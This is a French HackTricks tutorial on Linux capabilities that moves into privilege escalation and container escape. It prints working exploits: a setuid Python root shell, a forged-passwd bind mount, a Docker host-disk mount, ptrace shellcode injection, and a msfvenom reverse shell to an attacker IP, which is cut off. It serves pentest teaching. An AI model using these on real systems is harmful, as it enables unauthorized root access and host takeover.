Linux Capabilities

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

​​​​​​​​​RootedCON est l'événement le plus pertinent en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.\

Capacités Linux

Les capacités Linux divisent les privilèges root en unités plus petites et distinctes, permettant aux processus de disposer d'un sous-ensemble de privilèges. Cela réduit les risques en ne accordant pas inutilement des privilèges root complets.

Le Problème :

  • Les utilisateurs normaux ont des autorisations limitées, ce qui affecte des tâches comme l'ouverture d'un socket réseau qui nécessite un accès root.

Ensembles de Capacités :

  1. Héritées (CapInh) :

  • Objectif : Détermine les capacités transmises par le processus parent.

  • Fonctionnalité : Lorsqu'un nouveau processus est créé, il hérite des capacités de son parent dans cet ensemble. Utile pour maintenir certains privilèges à travers les spawns de processus.

  • Restrictions : Un processus ne peut pas acquérir des capacités que son parent ne possédait pas.

  1. Effectives (CapEff) :

  • Objectif : Représente les capacités réelles qu'un processus utilise à tout moment.

  • Fonctionnalité : C'est l'ensemble de capacités vérifié par le noyau pour accorder l'autorisation pour diverses opérations. Pour les fichiers, cet ensemble peut être un indicateur indiquant si les capacités autorisées du fichier doivent être considérées comme effectives.

  • Signification : L'ensemble effectif est crucial pour les vérifications de privilèges immédiates, agissant comme l'ensemble actif de capacités qu'un processus peut utiliser.

  1. Autorisées (CapPrm) :

  • Objectif : Définit l'ensemble maximal de capacités qu'un processus peut posséder.

  • Fonctionnalité : Un processus peut élever une capacité de l'ensemble autorisé à son ensemble effectif, lui donnant la possibilité d'utiliser cette capacité. Il peut également supprimer des capacités de son ensemble autorisé.

  • Limite : Il agit comme une limite supérieure pour les capacités qu'un processus peut avoir, garantissant qu'un processus ne dépasse pas son champ de privilèges prédéfini.

  1. Limitation (CapBnd) :

  • Objectif : Met un plafond sur les capacités qu'un processus peut acquérir à tout moment de son cycle de vie.

  • Fonctionnalité : Même si un processus a une certaine capacité dans son ensemble hérité ou autorisé, il ne peut pas acquérir cette capacité à moins qu'elle ne soit également dans l'ensemble de limitation.

  • Cas d'utilisation : Cet ensemble est particulièrement utile pour restreindre le potentiel d'escalade de privilèges d'un processus, ajoutant une couche de sécurité supplémentaire.

  1. Ambiante (CapAmb) :

  • Objectif : Permet à certaines capacités d'être maintenues à travers un appel système execve, qui entraînerait normalement une réinitialisation complète des capacités du processus.

  • Fonctionnalité : Garantit que les programmes non-SUID qui n'ont pas de capacités de fichier associées peuvent conserver certains privilèges.

  • Restrictions : Les capacités de cet ensemble sont soumises aux contraintes des ensembles hérités et autorisés, garantissant qu'elles ne dépassent pas les privilèges autorisés du processus.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

Pour plus d'informations, consultez :

Capacités des Processus et des Binaires

Capacités des Processus

Pour voir les capacités d'un processus particulier, utilisez le fichier status dans le répertoire /proc. Comme il fournit plus de détails, limitons-le uniquement aux informations liées aux capacités Linux. Notez que pour tous les processus en cours d'exécution, les informations sur les capacités sont maintenues par thread, pour les binaires dans le système de fichiers, elles sont stockées dans des attributs étendus.

Vous pouvez trouver les capacités définies dans /usr/include/linux/capability.h

Vous pouvez trouver les capacités du processus actuel en utilisant cat /proc/self/status ou en exécutant capsh --print, et celles des autres utilisateurs dans /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

Ce commandement devrait renvoyer 5 lignes sur la plupart des systèmes.

  • CapInh = Capacités héritées

  • CapPrm = Capacités autorisées

  • CapEff = Capacités effectives

  • CapBnd = Ensemble de limitation

  • CapAmb = Ensemble de capacités ambiantes

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Ces nombres hexadécimaux n'ont pas de sens. En utilisant l'utilitaire capsh, nous pouvons les décoder en noms de capacités.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Vérifions maintenant les capacités utilisées par ping :

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Bien que cela fonctionne, il existe une autre manière plus simple. Pour voir les capacités d'un processus en cours d'exécution, utilisez simplement l'outil getpcaps suivi de son identifiant de processus (PID). Vous pouvez également fournir une liste d'identifiants de processus.

getpcaps 1234

Vérifions ici les capacités de tcpdump après avoir donné suffisamment de capacités au binaire (cap_net_admin et cap_net_raw) pour écouter le réseau (tcpdump s'exécute dans le processus 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Comme vous pouvez le constater, les capacités données correspondent aux résultats des 2 façons d'obtenir les capacités d'un binaire. L'outil getpcaps utilise l'appel système capget() pour interroger les capacités disponibles pour un thread particulier. Cet appel système n'a besoin que du PID pour obtenir plus d'informations.

Capacités des Binaires

Les binaires peuvent avoir des capacités qui peuvent être utilisées lors de l'exécution. Par exemple, il est très courant de trouver le binaire ping avec la capacité cap_net_raw:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Vous pouvez rechercher des binaires avec des capacités en utilisant :

getcap -r / 2>/dev/null

Suppression des capacités avec capsh

Si nous supprimons les capacités CAP_NET_RAW pour ping, alors l'utilitaire ping ne devrait plus fonctionner.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Outre la sortie de capsh elle-même, la commande tcpdump devrait également générer une erreur.

/bin/bash: /usr/sbin/tcpdump: Operation not permitted

L'erreur montre clairement que la commande ping n'est pas autorisée à ouvrir un socket ICMP. Maintenant, nous savons avec certitude que cela fonctionne comme prévu.

Supprimer les capacités

Vous pouvez supprimer les capacités d'un binaire avec

setcap -r </path/to/binary>

Capacités de l'utilisateur

Apparemment, il est possible d'attribuer des capacités également aux utilisateurs. Cela signifie probablement que chaque processus exécuté par l'utilisateur pourra utiliser les capacités de l'utilisateur. Basé sur ceci, ceci et ceci quelques fichiers doivent être configurés pour donner à un utilisateur certaines capacités, mais celui qui attribue les capacités à chaque utilisateur sera /etc/security/capability.conf. Exemple de fichier:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Capacités de l'environnement

En compilant le programme suivant, il est possible de créer un shell bash à l'intérieur d'un environnement qui fournit des capacités.

ambient.c
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

À l'intérieur du bash exécuté par le binaire ambiant compilé, il est possible d'observer les nouvelles capacités (un utilisateur régulier n'aura aucune capacité dans la section "actuelle").

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Vous ne pouvez ajouter que des capacités présentes à la fois dans les ensembles autorisés et héritables.

Binaires conscients des capacités / Binaires ignorants des capacités

Les binaires conscients des capacités n'utiliseront pas les nouvelles capacités données par l'environnement, tandis que les binaires ignorants des capacités les utiliseront car ils ne les rejettent pas. Cela rend les binaires ignorants des capacités vulnérables à l'intérieur d'un environnement spécial qui accorde des capacités aux binaires.

Capacités de service

Par défaut, un service s'exécutant en tant que root se verra attribuer toutes les capacités, ce qui peut parfois être dangereux. Par conséquent, un fichier de configuration du service permet de spécifier les capacités que vous souhaitez lui attribuer, et l'utilisateur qui devrait exécuter le service pour éviter d'exécuter un service avec des privilèges inutiles:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capacités dans les conteneurs Docker

Par défaut, Docker attribue quelques capacités aux conteneurs. Il est très facile de vérifier quelles sont ces capacités en exécutant :

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

​​​​​​​​​​RootedCON est l'événement le plus pertinent en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.

Privesc/Évasion de conteneur

Les capacités sont utiles lorsque vous voulez restreindre vos propres processus après avoir effectué des opérations privilégiées (par exemple, après avoir configuré un chroot et lié à un socket). Cependant, elles peuvent être exploitées en leur transmettant des commandes ou des arguments malveillants qui sont ensuite exécutés en tant que root.

Vous pouvez forcer des capacités sur des programmes en utilisant setcap, et les interroger en utilisant getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

Le +ep signifie que vous ajoutez la capacité ("-" la supprimerait) en tant qu'Effective et Permitted.

Pour identifier les programmes dans un système ou un dossier avec des capacités :

getcap -r / 2>/dev/null

Exemple d'exploitation

Dans l'exemple suivant, le binaire /usr/bin/python2.6 est trouvé vulnérable à l'élévation de privilèges :

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capacités nécessaires par tcpdump pour permettre à n'importe quel utilisateur de capturer des paquets:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

Le cas spécial des capacités "vides"

D'après la documentation : Notez qu'il est possible d'attribuer des ensembles de capacités vides à un fichier de programme, et il est donc possible de créer un programme avec un ensemble d'identifiants utilisateur définis par l'utilisateur qui modifie l'identifiant utilisateur effectif et enregistré du processus qui exécute le programme en 0, mais ne confère aucune capacité à ce processus. Autrement dit, si vous avez un binaire qui :

  1. n'est pas détenu par root

  2. n'a pas les bits SUID/SGID définis

  3. a un ensemble de capacités vide (par exemple : getcap myelf renvoie myelf =ep)

alors ce binaire s'exécutera en tant que root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN est une capacité Linux très puissante, souvent assimilée à un niveau quasi-root en raison de ses privilèges administratifs étendus, tels que le montage de périphériques ou la manipulation des fonctionnalités du noyau. Bien qu'indispensable pour les conteneurs simulant des systèmes entiers, CAP_SYS_ADMIN pose d'importants défis en matière de sécurité, notamment dans les environnements conteneurisés, en raison de son potentiel d'escalade de privilèges et de compromission du système. Par conséquent, son utilisation nécessite des évaluations de sécurité rigoureuses et une gestion prudente, avec une forte préférence pour la suppression de cette capacité dans les conteneurs spécifiques à une application afin de respecter le principe du moindre privilège et de réduire au minimum la surface d'attaque.

Exemple avec un binaire

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

En utilisant python, vous pouvez monter un fichier passwd modifié sur le vrai fichier passwd:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

Et enfin monter le fichier passwd modifié sur /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

Et vous pourrez su en tant que root en utilisant le mot de passe "password".

Exemple avec l'environnement (évasion de Docker)

Vous pouvez vérifier les capacités activées à l'intérieur du conteneur Docker en utilisant :

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

À l'intérieur de la sortie précédente, vous pouvez voir que la capacité SYS_ADMIN est activée.

  • Mount

Cela permet au conteneur docker de monter le disque hôte et d'y accéder librement:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • Accès complet

Dans la méthode précédente, nous avons réussi à accéder au disque hôte de Docker. Au cas où vous constateriez que l'hôte exécute un serveur ssh, vous pourriez créer un utilisateur à l'intérieur du disque de l'hôte Docker et y accéder via SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

Cela signifie que vous pouvez échapper au conteneur en injectant un shellcode à l'intérieur d'un processus s'exécutant dans l'hôte. Pour accéder aux processus s'exécutant dans l'hôte, le conteneur doit être exécuté au moins avec --pid=host.

CAP_SYS_PTRACE accorde la capacité d'utiliser les fonctionnalités de débogage et de traçage des appels système fournies par ptrace(2) et les appels d'attachement de mémoire croisée comme process_vm_readv(2) et process_vm_writev(2). Bien que puissant à des fins de diagnostic et de surveillance, si CAP_SYS_PTRACE est activé sans mesures restrictives comme un filtre seccomp sur ptrace(2), cela peut sérieusement compromettre la sécurité du système. Plus précisément, il peut être exploité pour contourner d'autres restrictions de sécurité, notamment celles imposées par seccomp, comme le démontrent des preuves de concept (PoC) comme celle-ci.

Exemple avec un binaire (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Exemple avec binaire (gdb)

gdb avec la capacité ptrace:

/usr/bin/gdb = cap_sys_ptrace+ep

Créez un shellcode avec msfvenom pour l'injecter en mémoire via gdb

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"